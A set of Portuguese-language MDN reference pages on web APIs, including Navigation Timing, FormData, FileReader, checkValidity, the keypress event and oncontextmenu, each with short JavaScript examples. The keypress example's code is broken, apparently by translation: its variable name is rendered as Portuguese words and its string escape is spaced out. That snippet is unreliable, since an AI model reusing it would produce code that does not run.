{"title":"Navigation Timing - APIs da Web","text":"Navigation Timing\n=================\n\nA **API Navigation Timing** fornece dados que podem ser usados para medir a performance de um website. Diferente de outros mecanismos baseados em Javascript que já foram usados para o mesmo propósito, esta API pode fornecer dados sobre a latência do começo ao fim que podem ser mais precisas e relevantes.\n\nO exemplo a seguir mostra como você pode medir o tempo de carregamento percebido:\n```\n\nfunction onLoad() {\n  var now = new Date().getTime();\n  var page_load_time = now - performance.timing.navigationStart;\n  console.log(\"Tempo de carregamento percebido pelo usuário: \" + page_load_time);\n}\n```\n\n\nExistem muitos eventos medidos em milisegundos que podem ser acessados através da interface `PerformanceTiming` (en-US) interface. A lista de eventos na ordem em que ocorrem são:\n\n* navigationStart\n* unloadEventStart\n* unloadEventEnd\n* redirectStart\n* redirectEnd\n* fetchStart\n* domainLookupStart\n* domainLookupEnd\n* connectStart\n* connectEnd\n* secureConnectionStart\n* requestStart\n* responseStart\n* responseEnd\n* domLoading\n* domInteractive\n* domContentLoadedEventStart\n* domContentLoadedEventEnd\n* domComplete\n* loadEventStart\n* loadEventEnd\n\nO objeto `window.performance.navigation` guarda dois atributos que podem ser usados para saber se o carregamento da página é iniciada por um redirecionamento, pelo botão voltar/avançar ou pela URL mesmo.\n\nwindow.performance.navigation.type:\n\n| Constante | Valor | Descrição |\n| --- | --- | --- |\n| `TYPE_NAVIGATENEXT` | 0 | Navegação iniciada pelo clique em um link, ou pela entrada da URL na barra de endereços, ou envio de formulário, ou inicializada através da operação de um script diferente que os usados por TYPE\\_RELOAD e TYPE\\_BACK\\_FORWARD como listado abaixo. |\n| `TYPE_RELOAD` | 1 | Navegação através da operação de recarregamento ou pelo método location.reload(). |\n| `TYPE_BACK_FORWARD` | 2 | Navegação através de uma operação de histórico. |\n| `TYPE_UNDEFINED` | 255 | Qualquer tipo de navegação não definida pelos valores acima. |\n\n`window.performance.navigation.redirectCount` indicará, se houver, quantos redirecionamentos aconteceram até que a página final seja alcançada.\n\nA API Navigation Timing pode ser usada para colher dados da performance do lado do cliente enviado para um servidor via XHR tanto quanto os dados medidos que eram muito dificultosos de medir de outras maneiras como o tempo de \"descarga\" de uma página anterior, tempo de look up do dominio, tempo total do window.onload total time, etc.\n\nExemplos\n--------\n\nCalculando o tempo total necessário para carregar uma página:\n```\n\nvar perfData = window.performance.timing;\nvar pageLoadTime = perfData.loadEventEnd - perfData.navigationStart;\n```\n\n\nCalculando os tempos de resposta da requisição:\n```\n\nvar connectTime = perfData.responseEnd - perfData.requestStart;\n```\n\n### Links\n\n* Test Page\n* http://w3c-test.org/webperf/specs/NavigationTiming/\n* https://www.w3.org/TR/navigation-timing/\nCompatibillidade de Navegadores\n-------------------------------\n\n{{Compat}}"}
{"title":"FormData.set() - APIs da Web","text":"FormData.set()\n==============\n\nO método **`set()`** da interface `FormData` adiciona o novo valor para um chave existente em um objeto `FormData`, ou adicionar a combinação chave/valor caso ela não exista.\n\nA diferença entre `set()` e `FormData.append` é que, se a chave especificada já existir, `set()` irá sobrescrever todos os valores existentes pelo novo valor, enquanto o `FormData.append` apenas acrescenta o novo valor ao conjunto de valores existentes.\n\n**Nota:** Esse método está disponível em Web Workers.\n\nSintaxe\n-------\n\nExistem duas versões desse método: uma com dois e outra com três parâmetros:\n\n\n```js\nformData.set(name, value);\nformData.set(name, value, filename);\n```\n\n\n#### Parâmetros\n\n`name`\n\nO nome do campo cujo dado está em `value`.\n\n`value`\n\nO valor do campo. Na versão de dois parâmetros, esse é um `USVString` (en-US), e caso não seja, ele é convertido para uma string. Na versão de três parâmetros ele pode ser um {domxref(\"Blob\")}}, `File`, ou um `USVString` (en-US). Se nenhum desses valores forem especificados, o valor será convertido para string.\n\n`filename` Optional\n\nO nome do arquivo a ser enviado (um `USVString` (en-US)), quando um `Blob` ou um `File` é passdo como o segundo parâmetro. O nome de arquivo padrão para objetos do tipo `Blob` é \"blob\".\n\n\n**Nota:** Se você especificar um `Blob` como o dado a ser acrescentado ao objeto `FormData`, o nome do arquivo que será enviado para o servidor, enviado no atributo \"Content-Disposition\" no cabeçalho varia de navegador para navegador.\n\nExemplo\n-------\n\nA linha a seguir cria um objeto `FormData` vazio:\n\n\n```js\nvar formData = new FormData(); // Currently empty\n```\n\n\nVocê pode adicionar os pares chave/valor usando (domxref(\"FormData.set\")}}:\n\n\n```js\nformData.set(\"username\", \"Chris\");\nformData.set(\"userpic\", myFileInput.files[0], \"chris.jpg\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # dom-formdata-set |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `XMLHTTPRequest`\n* Usando XMLHttpRequest (en-US)\n* Usando objetos FormData (en-US)\n* `<form>` (en-US)"}
{"title":"FormData() - APIs da Web","text":"FormData()\n==========\n\nO **`FormData()`** construtor cria um novo objeto `FormData`.\n\n**Nota:** Este recurso está disponível em Web Workers.\n\nSintaxe\n-------\n\n\n```js\nvar formData = new FormData(form);\n```\n\n### Parâmetros\n\n`form` Optional\n\nUm elemento HTML `<form>` (en-US) — quando especifico, o objeto `FormData` será preenchido com as chaves/valores atuais do formulário usando a propriedade *name* de cada elemento para as chaves e seu valor enviado para os valores. Também condificará conteúdo de entrada do arquivo.\n\nExemplo\n-------\n\nA linha a seguir cria um objeto FormData vázio:\n\n\n```js\nvar formData = new FormData(); // Currently empty\n```\n\n\nVocê poderia adicionar uma chave/valor usando `FormData.append`:\n\n\n```js\nformData.append(\"username\", \"Chris\");\n```\n\n\nOu você pode especificicar o opcional `form` argument ao criar o objeto `FormData`, para o popular com valores de forma especifica:\n\n\n```html\n<form id=\"myForm\" name=\"myForm\">\n  <div>\n    <label for=\"username\">Enter name:</label>\n    <input type=\"text\" id=\"username\" name=\"username\" />\n  </div>\n  <div>\n    <label for=\"useracc\">Enter account number:</label>\n    <input type=\"text\" id=\"useracc\" name=\"useracc\" />\n  </div>\n  <div>\n    <label for=\"userfile\">Upload file:</label>\n    <input type=\"file\" id=\"userfile\" name=\"userfile\" />\n  </div>\n  <input type=\"submit\" value=\"Submit!\" />\n</form>\n```\n\n\n**Nota:** Todos os elementos de entrada têm um atributo 'name'. Para que possa acessar seus valores mais tarde.\n\n\n```js\nvar myForm = document.getElementById(\"myForm\");\nformData = new FormData(myForm);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # dom-formdata |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `XMLHTTPRequest`\n* Using XMLHttpRequest (en-US)\n* Using FormData objects (en-US)\n* `<form>` (en-US)"}
{"title":"FormData.append() - APIs da Web","text":"FormData.append()\n=================\n\nO método **`append()`** da Interface `FormData` adiciona um novo valor dentro de uma chave existente dentro do objeto `FormData` ou adiciona a chave caso ainda não exista.\n\nA diferença entre `FormData.set` e `append()` é que se uma chave específica já exista, `FormData.set` irá substituir o valor existente com um novo valor, já o `append()` irá adicionar um novo valor no fim do conjunto de valores.\n\n**Nota:** Este metodo esta desponivel no Web Workers.\n\nSintaxe\n-------\n\nExiste duas versoes deste metodo: um de dois e um outro de tres:\n\n\n```js\nformData.append(name, value);\nformData.append(name, value, filename);\n```\n\n### Parametros\n\n`name`\n\nO nome do campo cujos dados estão contidas em value.\n\n`value`\n\nO valor deste campo . Nas duas versões este é a `USVString` (en-US), ou caso não seja , este é convertido em string. Na versão de tres parametros este pode ser `Blob`, `File`, ou `USVString` (en-US), de novo, caso nenhum deses forem especificados este valor é convertido em uma string.\n\n`filename` Optional\n\nO filename reporta para o servidor (a `USVString` (en-US)), quando a `Blob` ou `File` é passado como o segundo parametro. O default filename para `Blob` o objecto é \"blob\".\n\n\n**Nota:** Se espisificares `Blob` como a data append para o objecto `FormData` , o filename a ser reportado para o servidor no \"Content-Disposition\" header usado para mudar de browser em browser.\n\n### Retorna\n\nVoid.\n\nExemplo\n-------\n\nAs seguintes linhas criam um Objecto `FormData` vazio:\n\n\n```js\nvar formData = new FormData(); // Corrente vazio\n```\n\n\nPodes adicionar chaves/valores pares para usar (domxref(\"FormData.append\")}}:\n\n\n```js\nformData.append(\"username\", \"Chris\");\nformData.append(\"userpic\", myFileInput.files[0], \"chris.jpg\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # dom-formdata-append |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Tambem\n-----------\n\n* `XMLHTTPRequest`\n* Usando XMLHttpRequest (en-US)\n* UsandoFormData objects (en-US)\n* `<form>` (en-US)"}
{"title":"FormData.getAll() - APIs da Web","text":"FormData.getAll()\n=================\n\nO metodo **`getAll()`** do `FormData` retorna todos os valores associados com a chave dentro `de um objeto FormData`.\n\n**Nota:** Este metodo esta disponivel no Web Workers.\n\nSyntax\n------\n\n\n```js\nformData.getAll(name);\n```\n\n### Parametros\n\n`nome`\n\nO `USVString` (en-US) representa o nome da chave que você quer pegar.\n\n### Retorno\n\nUm array de `FormDataEntryValue` (en-US)s.\n\nExemplo\n-------\n\nA seguinte linha cria um objeto `FormData` vazio:\n\n\n```js\nvar formData = new FormData();\n```\n\n\nSe nos adicionarmos dois valores oara `username` `FormData.append`:\n\n\n```js\nformData.append(\"username\", \"Chris\");\nformData.append(\"username\", \"Bob\");\n```\n\n\nA seguinte função `getAll()` retornara um array com os valores dentro de `username`:\n\n\n```js\nformData.getAll(\"username\"); // Returns [\"Chris\", \"Bob\"]\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # dom-formdata-getall |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `XMLHTTPRequest`\n* Using XMLHttpRequest (en-US)\n* Using FormData objects (en-US)\n* `<form>` (en-US)"}
{"title":"FormData.delete() - APIs da Web","text":"FormData.delete()\n=================\n\nO metodo **`delete()`** da interface `FormData` deleta uma chave/valor pares do Objecto `FormData` .\n\n**Nota:** Este metodo esta Disponivel em Web Workers.\n\nSintaxe\n-------\n\n\n```js\nformData.delete(name);\n```\n\n### Parametros\n\n`name`\n\nO name da chave que desejas apagar.\n\n### Retorna\n\nVoid.\n\nExemplo\n-------\n\nEsta linha cria um objecto `FormData` vazio e subistitui com a chave/valor pares de form:\n\n\n```js\nvar formData = new FormData(myForm);\n```\n\n\nPodes deletar chave/valor pares usando `delete()`:\n\n\n```js\nformData.delete(\"username\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # dom-formdata-delete |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Tambem\n-----------\n\n* `XMLHTTPRequest`\n* Usando XMLHttpRequest (en-US)\n* Usando Objecto FormData (en-US)\n* `<form>` (en-US)"}
{"title":"FormData.entries() - APIs da Web","text":"FormData.entries()\n==================\n\nO método **`FormData.entries()`** retorna um `iterator` permitindo percorrer todos os valores de chave/valor contidos nesse objeto. A chave de cada par é um objeto `USVString` (en-US); o valor é `USVString` (en-US), ou um `Blob`.\n\n**Nota:** This method is available in Web Workers.\n\nSintaxe\n-------\n```\n\nformData.entries();\n```\n\n### Valor retornado\n\nRetorna um `iterator`.\n\nExemplo\n-------\n\n\n```js\n// Criação de um objeto teste de FormData\nvar formData = new FormData();\nformData.append(\"key1\", \"value1\");\nformData.append(\"key2\", \"value2\");\n\n// Exibição dos valores chave/valor\nfor (var pair of formData.entries()) {\n  console.log(pair[0] + \", \" + pair[1]);\n}\n```\n\n\nO resultado é:\n```\n\nkey1, value1\nkey2, value2\n```\n\nEspecificações\n--------------\n\n#### No specification found\n\nNo specification data found for `api.FormData.entries`.  \nCheck for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `XMLHTTPRequest`\n* Using XMLHttpRequest (en-US)\n* Using FormData objects (en-US)\n* `<form>` (en-US)"}
{"title":"FormData.has() - APIs da Web","text":"FormData.has()\n==============\n\nO método **`has()`** da interface `FormData` retorna um booleano declarando se o objeto `FormData` contém uma certa chave.\n\n**Nota:** This method is available in Web Workers.\n\nSintaxe\n-------\n\n\n```js\nformData.has(name);\n```\n\n### Parâmetros\n\n`name`\n\nUma `USVString` (en-US) que representa o nome da chave que você que testar.\n\n### Retorna\n\nUm `Boolean` (en-US).\n\nExemplo\n-------\n\nA linha a seguir cria um objeto `FormData` vazio:\n\n\n```js\nvar formData = new FormData();\n```\n\n\nO trecho a seguir mostra os resultados de testar a existência de `username` no objeto `FormData`, antes e depois de acrescentar um valor de `username` no objeto usando `FormData.append`:\n\n\n```js\nformData.has(\"username\"); // Retorna false\nformData.append(\"username\", \"Chris\");\nformData.has(\"username\"); // Retorna true\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # dom-formdata-has |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `XMLHTTPRequest`\n* Using XMLHttpRequest (en-US)\n* Using FormData objects (en-US)\n* `<form>` (en-US)"}
{"title":"FormData.get() - APIs da Web","text":"FormData.get()\n==============\n\nO método get() da interface `FormData` retorna o primeiro valor associado com a chave fornecida de um objeto do tipo FormData.\n\n**Nota:** Este método está disponível em Web Workers.\n\nSintaxe\n-------\n\n\n```js\nformData.get(nome);\n```\n\n### Parâmetros\n\n`nome`\n\nUm `USVString` (en-US) representando o nome da chave que queira retornar.\n\n### Retorno\n\nUm `FormDataEntryValue` (en-US) contendo o valor.\n\nExemplo\n-------\n\nA linha abaixo cria um objeto vazio do tipo FormData.\n\n\n```js\nvar formData = new FormData();\n```\n\n\nSe adicionarmos dois valores usuario\\_nome usando `FormData.append`:\n\n\n```js\nformData.append(\"usuario\\_nome\", \"Sabrina\");\nformData.append(\"usuario\\_nome\", \"Antônio\");\n```\n\n\nA função get() abaixo apenas irá retornar o primeiro valor usuario\\_nome incluido:\n\n\n```js\nformData.get(\"usuario\\_nome\"); // Retorna \"Sabrina\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # dom-formdata-get |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `XMLHTTPRequest`\n* Using XMLHttpRequest (en-US)\n* Using FormData objects (en-US)\n* `<form>` (en-US)"}
{"title":"FileReader() - APIs da Web","text":"FileReader()\n============\n\nO construtor **`FileReader()`** cria um novo `FileReader`.\n\nPara mais detalhes de como usar o `FileReader`, veja Using files from web applications (en-US).\n\nSintaxe\n-------\n\n\n```js\nvar reader = new FileReader();\n```\n\n### Parâmetros\n\nNenhum.\n\nExemplo\n-------\n\nO seguinte trecho de código ilustra a criação de um objeto `FileReader` usando o construtor `FileReader()` e depois utilizando o objeto:\n\n\n```js\nfunction printFile(file) {\n  var reader = new FileReader();\n  reader.onload = function (evt) {\n    console.log(evt.target.result);\n  };\n  reader.readAsText(file);\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # filereaderConstrctr |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using files from web applications (en-US)"}
{"title":"FileReader.readAsBinaryString() - APIs da Web","text":"FileReader.readAsBinaryString()\n===============================\n\n**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.\n\nO método `readAsBinaryString` é usado para iniciar a leitura do conteúdo de um `Blob` especificado, ou `File`. Quando a operação de leitura é finalizada, o `readyState` (en-US) se torna \"`DONE\"`, e o evento `loadend (en-US)` é acionado. Neste momento, o atributo `result` (en-US) contém o dado binário bruto do arquivo.\n\nNote que este método se tornou obsoleto desde 12 de Julho de 2012 Working Draft do W3C.\n\nSintaxe\n-------\n```\n\ninstanciaDeFileReader.readAsBinaryString(blob);\n```\n\n### Parametros\n\n`blob`\n\nO `Blob` ou `File` que deseja ler.\n\nExemplo\n-------\n\n\n```js\nvar canvas = document.createElement(\"canvas\");\nvar height = 200;\nvar width = 200;\n\ncanvas.width = width;\ncanvas.height = height;\n\nvar ctx = canvas.getContext(\"2d\");\n\nctx.strokeStyle = \"#090\";\nctx.beginPath();\nctx.arc(width / 2, height / 2, width / 2 - width / 10, 0, Math.PI \\* 2);\nctx.stroke();\n\ncanvas.toBlob(function (blob) {\n  var reader = new FileReader();\n\n  reader.onloadend = function () {\n    console.log(reader.result);\n  };\n\n  reader.readAsBinaryString(blob);\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # readAsBinaryString |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja Também\n-----------\n\n* `FileReader`"}
{"title":"FileReader.readAsDataURL() - APIs da Web","text":"FileReader.readAsDataURL()\n==========================\n\n O método `readAsDataURL` é usado para ler o conteúdo do tipo `Blob` ou `File`.\n Quando a operação de leitura acaba, a flag `readyState` (en-US) muda para **DONE** e o evento `loadend (en-US)` é disparado.\n Então o atributo `result` (en-US) irá conter a URL codificada em base64 do arquivo.\n\nSintaxe\n-------\n```\n\ninstanceOfFileReader.readAsDataURL(blob);\n```\n\n### Parametros\n\n`blob`\n\nO conteúdo do tipo `Blob` ou `File` que queremos ler.\n\nExemplo\n-------\n\n### HTML\n```\n\n<input type=\"file\" onchange=\"previewFile()\"><br>\n<img src=\"\" height=\"200\" alt=\"Prévia da imagem...\">\n```\n\n### JavaScript\n```\n\nfunction previewFile() {\n  var preview = document.querySelector('img');\n  var file    = document.querySelector('input[type=file]').files[0];\n  var reader  = new FileReader();\n\n  reader.onloadend = function () {\n    preview.src = reader.result;\n  }\n\n  if (file) {\n    reader.readAsDataURL(file);\n  } else {\n    preview.src = \"\";\n  }\n}\n```\n\n### Demo\n\nExemplo de leitura com múltiplos arquivos\n-----------------------------------------\n\n#### HTML\n```\n\n<input id=\"browse\" type=\"file\" onchange=\"previewFiles()\" multiple>\n<div id=\"preview\"></div>\n```\n\n\n#### JavaScript\n```\n\nfunction previewFiles() {\n\n  var preview = document.querySelector('#preview');\n  var files   = document.querySelector('input[type=file]').files;\n\n  function readAndPreview(file) {\n\n    // Make sure `file.name` matches our extensions criteria\n    if ( /\\.(jpe?g|png|gif)$/i.test(file.name) ) {\n      var reader = new FileReader();\n\n      reader.addEventListener(\"load\", function () {\n        var image = new Image();\n        image.height = 100;\n        image.title = file.name;\n        image.src = this.result;\n        preview.appendChild( image );\n      }, false);\n\n      reader.readAsDataURL(file);\n    }\n\n  }\n\n  if (files) {\n    [].forEach.call(files, readAndPreview);\n  }\n\n}\n```\n\n\n**Nota:** O construtor do `FileReader()` não é suportado por versões anteriores à 10 do Internet Explorer. Para uma maior compatibilidade você pode ver os exemplos prévia de imagem básica ou prévia de imagem avançada.\n\nEspecificações\n--------------\n\n{{page(\"/pt-BR/docs/Web/API/FileReader\",\"Specifications\")}}Compatibilidade\n---------------\n\n{{page(\"/pt-BR/docs/Web/API/FileReader\",\"Browser compatibility\")}}Veja também\n-----------\n\n* `FileReader`"}
{"title":"FileReader.onload - APIs da Web","text":"FileReader.onload\n=================\n\nA propriedade **FileReader.onload** contém um manipulador de eventos (event handler) executado quando o evento de carregamento (`load (en-US)`) é ativado, quando o conteúdo lido com readAsArrayBuffer, readAsBinaryString, readAsDataURL ou readAsText fica disponível.\n\nExemplo\n-------\n\n\n```js\n// Callback de um <input type=\"file\" onchange=\"onChange(event)\">\nfunction onChange(event) {\n  var file = event.target.files[0];\n  var reader = new FileReader();\n  reader.onload = function (event) {\n    // O arquivo de texto será impresso aqui\n    console.log(event.target.result);\n  };\n\n  reader.readAsText(file);\n}\n```"}
{"title":"FileReader.readAsText() - APIs da Web","text":"FileReader.readAsText()\n=======================\n\nO método readAsText é usado para ler conteúdos de um `Blob` ou `File` especificados. Quando a operação de leitura é concluida, o `readyState` (en-US) é alterado para DONE, o `loadend (en-US)` é disparado, e o atributo `result` (en-US) passa a conter o conteúdo do arquivo como um texto em formato string.\n\nSintaxe\n-------\n```\n\ninstanceOfFileReader.readAsText(blob[, encoding]);\n```\n\n### Parâmetros\n\n`blob`\n\nO `Blob` ou `File` a ser lido.\n\nencoding Optional\n\nUma string especificando a codificação a ser usada para o dado retornado. Por padrão, UTF-8 é assumido se o parâmetro não for especificado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # readAsDataText |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `FileReader`"}
{"title":"FileReader.readAsArrayBuffer() - APIs da Web","text":"FileReader.readAsArrayBuffer()\n==============================\n\nO método **`readAsArrayBuffer()`** do objeto `FileReader` é utilizado para ler o conteúdo de um `Blob` ou `File` específico. Quando a operação de leitura é finalizada, o `readyState` (en-US) torna-se `DONE` (finalizado), e o evento `loadend (en-US)` é acionado. Então, o atributo `result` (en-US) retorna um `ArrayBuffer` representando os dados do arquivo.\n\nSintaxe\n-------\n```\n\ninstanceOfFileReader.readAsArrayBuffer(blob);\n```\n\n### Parâmetros\n\n`blob`\n\nO `Blob` ou `File` que será lido.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| File API # readAsArrayBuffer |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `FileReader`"}
{"title":"HTMLSelectElement.checkValidity() - APIs da Web","text":"HTMLSelectElement.checkValidity()\n=================================\n\nBaseline 2023\n-------------\n\nNewly availableSince March 2023, this feature works across the latest devices and browser versions. This feature might not work in older devices or browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\nO **`HTMLSelectElement.checkValidity()`** método verifica se o elemento possui restrições e se as satisfaz. Se o elemento falhar suas restrições, o navegador dispara um evento `invalid (en-US)` no elemento e, em seguida, retorna `false`.\n\nSintaxe\n-------\n\n\n```js\nvar resultado = selectElt.checkValidity();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-cva-checkvalidity-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Form validation. (en-US)"}
{"title":"keypress - APIs da Web","text":"keypress\n========\n\nO evento **`keypress`** é disparado quando uma tecla que produz um valor do tipo caractere é pressionada. Exemplos de chaves que produzem um valor de caractere são chaves alfabéticas, numéricas e de pontuação. Exemplos de chaves que não produzem um valor de caractere são as teclas modificadoras, como `Alt`, `Shift`, `Ctrl`, ou `Meta`.\n\nInformações gerais\n------------------\n\nEspecificação\n\nDOM L3 \nDeprecated\n\nInterface\n\nKeyboardEvent (en-US)\n\nBolhas\n\nsim\n\nCancelável\n\nsim\n\nAlvo\n\nDocumento, Elemento\n\nAção padrão\n\nVaria: `keypress`evento; lançar sistema de composição de texto; `blur`e `focus`eventos; `DOMActivate`evento; outro evento\n\nPropriedades\n------------\n\n| Propriedade | Tipo | Descrição |\n| --- | --- | --- |\n| `target` Somente leitura  | EventTarget | O destino do evento (o destino mais alto na árvore do DOM). |\n| `type` Somente leitura  | DOMString | O tipo de evento. |\n| `bubbles` Somente leitura  | boleano | Se o evento normalmente borbulha ou não |\n| `cancelable` Somente leitura  | boleano | Se o evento é cancelável ou não |\n| `view` Somente leitura  | WindowProxy | `document.defaultView`( `window`do documento) |\n| `detail` Somente leitura  | `long`( `float`) | 0 |\n| `target` Somente leitura  | EventTarget (elemento DOM) | \n Elemento focalizado processando o evento chave, elemento raiz se nenhum\n elemento de entrada adequado estiver focalizado.\n  |\n| `char` Somente leitura  | DOMString (string) | \n O valor do caractere da chave. Se a chave corresponder a um caractere\n imprimível, esse valor será uma string Unicode não vazia contendo esse\n caractere. Se a chave não tiver uma representação imprimível, esta é uma\n string vazia. Veja\n nomes de chaves e valores de caracteres (en-US)\n para os detalhes.\n\n**Nota:** Se a chave for usada como uma macro que insere\n vários caracteres, o valor desse atributo é a cadeia inteira, não\n apenas o primeiro caractere.\n  |\n| `key` Somente leitura  | DOMString (string) | \n O valor-chave da chave representada pelo evento. Se o valor tiver uma\n representação impressa, o valor desse atributo será o mesmo da\n `char`propriedade. Caso contrário, é uma das cadeias de\n valores de chave (en-US)\n especificadas nos\n valores de chave (en-US)\n . Se a chave não puder ser identificada, seu valor será a string\n \"Unidentified\". Veja\n os nomes das chaves e os valores de caracteres (en-US)\n para mais detalhes. Somente leitura.\n  |\n| `code` Somente leitura  | DOMString (string) | \n Contém uma string que identifica a tecla física sendo pressionada. O\n valor não é afetado pelo layout do teclado atual ou pelo estado do\n modificador, portanto, uma chave específica sempre retornará o mesmo\n valor.\n  |\n| `charCode` Somente leitura  | Longo não assinado (int) | \n O número de referência Unicode da chave; esse atributo é usado apenas\n pelo\n `keypress` (en-US)evento. Para chaves cujo `char`atributo contém vários\n caracteres, esse é o valor Unicode do primeiro caractere nesse atributo.\n\n**Aviso:** este atributo está obsoleto; você deve usar em\n `char`vez disso, se disponível.\n  |\n| `keyCode` Somente leitura  | Longo não assinado (int) | \n Um código numérico dependente do sistema e da implementação que\n identifica o valor não modificado da tecla pressionada. Este é\n geralmente o código ASCII decimal (RFC 20) ou Windows 1252\n correspondente à chave; veja\n Códigos de teclas virtuais\n para uma lista de valores comuns. Se a chave não puder ser identificada,\n esse valor será 0.\n\n**Aviso:** este atributo está obsoleto; você deve usar em\n `key`vez disso, se disponível.\n  |\n| `which` Somente leitura  | Longo não assinado (int) | \n Um código numérico dependente do sistema e da implementação\n identificando o valor não modificado da tecla pressionada; isso\n geralmente é o mesmo que `keyCode`.\n\n**Aviso:** este atributo está obsoleto; você deve usar em\n `key`vez disso, se disponível.\n  |\n| `location` Somente leitura  | longo (flutuar) | A localização da chave no dispositivo. |\n| `repeat` Somente leitura  | boleano | `true`se uma tecla foi pressionada o tempo suficiente para\n disparar a repetição da tecla, caso contrário `false`.\n  |\n| `locale` Somente leitura  | corda | \n O código do idioma para o evento principal, se disponível; caso\n contrário, a cadeia vazia.\n  |\n| `ctrlKey` Somente leitura  | boleano | `true`se a chave de controle estava inativa quando o evento\n foi disparado. `false`de outra forma.\n  |\n| `shiftKey` Somente leitura  | boleano | `true`se a tecla shift estava inativa quando o evento foi\n disparado. `false`de outra forma.\n  |\n| `altKey` Somente leitura  | boleano | `true`se a tecla ALT estava desativada quando o evento foi\n disparado. `false`de outra forma.\n  |\n| `metaKey` Somente leitura  | boleano | `true`se a meta key estava desativada quando o evento foi\n disparado. `false`de outra forma.\n  |\n\nExemplo\n-------\n\n\n```js\ndocument.addEventListener ('keypress', (event) => {\n  const keyName = event.key;\n  alert ('keypress event \\ n \\ n' + 'chave:' + nome da chave);\n});\n```\n\nCompatibilidade com navegadores\n-------------------------------\n\nO Chrome não dispara o `keypress`evento para atalhos de teclado conhecidos ( referência ). Quais atalhos de teclado são conhecidos depende do sistema do usuário. Use o `keydown`evento para implementar atalhos de teclado.\n\nEventos Relacionados\n--------------------\n\n* `keydown (en-US)`\n* `keyup (en-US)`\n* `keypress (en-US)`\n* `input (en-US)`"}
{"title":"GlobalEventHandlers.oncontextmenu - APIs da Web","text":"GlobalEventHandlers.oncontextmenu\n=================================\n\nUm uma propriedade do manipulador de eventos da janela para eventos com o botão direito do mouse. A menos que o comportamento padrão do navegador seja bloqueado (veja exemplos abaixo sobre como fazer isso), o menu de contexto do navegador irá ser ativado (apesar do IE8 ter um bug com ele e não irá ativar o menu de contexto se o manipulador de eventos contextmenu for definido). Note que este evento irá acontecer com qualquer evento não-desabilitado do botão direito do mouse e não depende de um elemento que contenha o atributo \"contextmenu\".\n\nSintaxe\n-------\n```\n\nwindow.oncontextmenu = funcRef;\n//funcRef se refere à função a ser chamada\n```\n\nExemplo\n-------\n\nOs exemplos abaixo irão desabilitar o clique com botão direito na página:\n\n\n```js\ndocument.oncontextmenu = function () {\n  // Usa o document ao invés de window para compatibilidade com o IE8\n  return false;\n};\n\nwindow.addEventListener(\n  \"contextmenu\",\n  function (e) {\n    // Não compatível com IE < 9\n    e.preventDefault();\n  },\n  false,\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-contextmenu |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
